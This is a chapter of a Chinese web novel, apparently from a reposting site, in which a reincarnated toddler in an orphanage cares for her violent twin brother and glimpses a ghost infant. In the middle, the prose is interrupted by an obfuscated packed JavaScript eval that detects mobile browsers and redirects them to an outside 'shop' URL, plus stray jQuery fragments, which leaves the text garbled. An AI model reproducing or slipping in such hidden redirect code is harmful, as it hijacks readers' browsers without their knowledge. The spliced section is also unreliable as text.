万书库 > 玄幻小说 > 大小姐今天当反派了吗? > 4. 第 4 章
    福利院的生活并不好过。


    这是清弥观察得出的结论。


    虽然这里的一切开销由政府负担,但养育一个孩子到成年的花销太大,更何况是一群……生着病的呢。


    能进福利院的都是些什么样的孩子?


    云雀清弥规规矩矩的坐在儿童椅上,看着几个女人将一个又一个面色发紫的婴儿放在榻榻米上。


    “这个婴儿是在福利院门口找到的。”


    妇人边说边拿起毛巾放入水盆,轻轻擦拭气息微弱的婴儿。


    “听来的医生说心脏似乎有些问题。”


    她身旁较为年轻的女人听罢帮她给婴儿翻了个身,然后没好气道:


    “能丢到这儿来也是辛苦他们了,负担不起就别生,省的给人添麻烦。”


    妇人不赞同的看她。


    “惠奈,别这么说。”


    她慈爱的包好一个个婴儿,语气悲悯。


    “都是可怜人。”


    她口中的女人,惠奈翻了个白眼不理她了。


    在将抱进来的婴儿集体送去医院后,几个女人都松了一口气。


    惠奈一屁股坐在云雀清弥旁边,她盯着坐的规规矩矩的小孩,愣了片刻突然大惊:“我去——”


    “慎言!”


    妇人打断了她的惊叫。


    “惠奈,我记得我跟你说过很多次……”


    女人没听,一个劲的看着云雀清弥,焦急道:“你兄弟呢?”


    妇人说教的声音戛然而止,所有女人都看向了坐在椅子上的女孩。


    清弥眼睛转了转,嘴角下意识勾出一个弧度,但你脸颊的肉过于丰满,导致施展不开,于是放弃,慢慢道:“出去了。”


    “他去哪了?离开了多久?”


    “不知道,预计十分钟。”


    妇人大惊失色,惠奈夺门而出,身后的女人们接连跟上,最后只剩妇人和另一个女人在房间内收拾残局。


    清弥依旧坐的规矩,连一根头发丝都没动过。


    妇人眼见收拾的差不多了,便走到清弥身旁抚摸她的头顶,嘴里安慰道:“别担心。”


    “我不担心。”


    清弥开口,黑色的眼睛聚焦盯上妇人的脸,这是实话,毕竟云雀恭弥自从会走路后就经常到处乱跑。


    “是吗?”


    妇人闭上眼,从怀里拿出一枚十字架放在胸口。


    “愿主保佑。”


    这是习惯。


    云雀清弥心中定论,她曾听福利院的护工们说过,院长晴英川菜曾去海外留学,担任过某个教会的神职人员。


    妇人在原地祈祷了差不多五分钟左右,和室的纸门被猛地拉开,惠奈一脸气愤地走了进来,手上提着一个眼熟的黑发小孩。


    云雀清弥:?


    她盯着小孩脸上的淤青,思索了一下。


    说来也怪,云雀恭弥从小跟她互殴就算了,一举一动间几乎和动物无亦。


    刚来几天东躲西藏,逮着整个福利院把所有人当狗遛,后来安分一些,但是非常排斥集体活动,从来不跟任何人有身体上的接触……和她打架不算。


    总之,云雀恭弥此人已经可以算是一只被散养的猫了。


    对她来说确实是这样。


    惠奈将和门关好后才把人放下,只是刚一松手云雀恭弥便如惊弓之鸟般钻进旁边的柜子里砰的一下关紧柜门。


    惠奈抬手扶额,语气无奈道:


    “这小崽子去跟人打起来了!”


    她接过院长递来的水杯一饮而尽:“一群比他大的孩子打他一个,结果还没打过!”


    晴英川菜有些担忧,她又递过去一杯水。


    “那他们伤势如何?”


    “小伤。”惠奈喝完之后用手背擦了擦嘴,笑道:“最重的也就脱臼而已,现在都乖乖去关禁闭了。”


    妇人终于将握着的十字架塞回怀里,然后示意惠奈和另一个女人离开。


    “那小崽子不管了?”


    妇人沉默一下,然后道:“我们应该先去找个能说得上话的当事人问清楚。”


    “也对。”


    在离开之前,惠奈不放心的抓了抓云雀清弥的脑袋。


    “他以后要是打你了记得跟我说,别老是一声不吭,小心变成个哑巴。”


    “惠奈。”


    “我就开个玩笑。”


    云雀清弥乖巧地挥了挥手。


    和门再次被关上。


    云雀清弥离开椅子走到紧闭的柜门前伸手敲了敲。


    “扣扣。”


    柜门依旧紧闭,没有半分打开的迹象。


    云雀清弥歪歪脑袋然后跑进厨房,踩着凳子够上灶台,拿到中午刚做好的寿司又回到柜前将食物放在地上,跪坐下来。


    陶瓷盘在接触到地面时发出清脆的磕碰声。


    她耐心的等了一会,柜门就打开了一条缝,一只灰扑扑的小手从里面伸了出来。


    它随便拿起一个寿司就缩了回去,缝隙也关上了。


    云雀清弥依旧跪在原地耐心等待。


    “砰!”


    柜门被大力推开,冲出来的小孩满脸通红直奔茶壶而去。


    “等一下。”云雀清弥的声音来的极慢,直到人都把水含口里了才继续道:“热水。”


    其实也没多热,只是辣加热难免会痛。


    小孩通红的脸更红了,像是烧开的沸水,几乎要冒烟了,他猛地把手上的茶杯向不远处的女孩扔去皱着脸把水咽了下去。


    云雀清弥接住茶杯不紧不慢的去厨房接了杯凉水刚递过去就被大力拿走。


    哎。


    她失望的看着正努力灌水的云雀恭弥,拿了一个自己辛苦做出来的寿司扔进嘴里。


    明明是一胎生出来的,怎么口味差这么多。


    她眯起眼睛细嚼慢咽。


    多好的东西啊。


    先天性吃辣圣体如此表示。


    还没等她吃下一个,稍微降下温的云雀恭弥就盯上了她,双手握拳怒目而视。


    看上去下一秒就要扑过来。


    女孩放下咽下口中的食物。


    “你确定要这种时候跟我……决斗?”她按着上回两人打架时对方严肃的语气道:“可是你现在又是负伤又是内热的,要不歇歇?顺便洗个澡?”


    见对方神色不曾动摇了她又端起那盘寿司。


    “我有做其他口味的啦,只是你拿错了而已,喏……清淡口味。”


    她分出几块寿司然后将整盘放在桌子上。


    云雀恭弥警惕的看着她,犹豫的拿起刚被分出来的寿司咬了一口,在确认没有任何刺激味道后才咽了下去。


    云雀清弥又端出一碗味增汤和一盘配菜,放在桌子上,然后把餐具摆好。


    “如果没有意见的话,我们就先吃饭吧。”


    云雀恭弥显然没有意见,拿起筷子就吃了起来,饭后也乖乖坐着让人处理伤口。


    他伤的不重,胳膊和脸上只有轻微的擦伤,膝盖青了一块,预计两天就能下去。


    云雀清弥应对这些伤口非常有经验。


    她用棉签沾了酒精消毒又给膝盖贴了块膏药,就把人撵去卫生间擦脸。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550609|204317||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“你太脏了。”


    她皱着眉有些嫌弃。


    “以后不准脏着上榻。”


    云雀恭弥:……


    他沉默的擦了脸,然后把身上的脏衣服脱了扔进脏衣篓里,拿起浴衣套上离开,结果刚走到浴室门口就被提着一只木屐的云雀清弥问:


    “另一只去哪了?”


    小孩愣了一下。


    “不知道。”


    云雀清弥把碗筷扔进水池,走了过去跪坐到坐垫上。


    “想一下恭弥。”她严肃道:“那是我们借的第六双鞋子了。”


    云雀恭弥歪着脑袋也坐下来,大脑仔细回想。


    “刚刚咬杀那群凑上来的动物时……好像掉在那里了。”


    云雀清弥点了点头,假装没有听到那几个对她来说过于野蛮的词。


    也不知道是跟谁学的。


    “我知道了。”她伸手抓住小孩的手腕撸开袖子检查,“起痘痘了没?”


    云雀恭弥下意识缩了缩手,没抽动。


    “没有。”


    云雀清弥放心的松开手。


    这不怪她担心,毕竟谁家好人会对群聚过敏?


    上一次只是在超过三个人的房间里呆了一会就浑身起疹子。


    只是担心归担心,云雀清弥始终觉得他只是对当时某个人身上携带的东西或气味过敏了而已,奈何现在没法检查排除。


    她并不想麻烦年迈的老人帮忙,于是走到门口拉开门。


    “我出去看看你的鞋还能找回来不能,你去搬个板凳把碗洗了吧。”


    云雀恭弥没吱声,只是默默走进厨房。


    云雀清弥见此关门离开。


    他之前可没这么听话。


    他们刚开始都是用肢体接触来交流的,你给我一拳,我给你一巴掌,斗上头了上嘴就咬后来对方实在打不动了才肯学着跟她交流。


    话说回来,他说的第一个字好像是……咬杀?


    “……”


    她要立刻马上忘掉这个词。


    这小孩又倔又犟的虽然大大提高了她的生存效率,以至于现在都还有五年时间可挥霍,顺便一提她现在已经安全活到三岁了。


    但是一直逮着一个人薅也不行。


    看看现在,野蛮成什么样了。


    她顺着走廊走到前院大门,在空地上看到一只木屐。


    只是……


    她盯着鞋子底下那团黑乎乎的肉球,身子僵了一下后迅转头弯下腰寻找什么。


    她又见鬼了。


    自从踏入这里之后,眼睛就越来越能看见一些别人看不见的东西。


    她问过系统,得出的结论是她是个幸运E。


    这是初始数值不可通过后天增加,因此只能倒霉的见鬼去了,字面意思上的见鬼体质哦。


    不过通过之前的试探,她只要假装没看到对方就可以,至于对方知道她能看到之后会怎样?


    抱歉她现在还没胆子试探。


    穿着白色单衣的女孩一步一步往前挪去然后惊讶道:“原来在这里!”


    她伸手准确无误的抓住木屐的绳子提起来。


    黑糊糊的肉球落到地面发出“啪叽”一声,然后慢慢伸展张开——


    一只婴儿模样的鬼怪。


    粘稠的血肉在它翻滚间剧烈收缩,它头部那张空洞洞的嘴张开大哭起来,撕心裂肺的哭嚎震得云雀清弥大脑眩晕了一瞬,等她反应过来时身体已经本能的转身离开。


    在这里算是经常见到的类型了。


    毕竟这里是福利院,最不缺这种无辜枉死的婴孩了。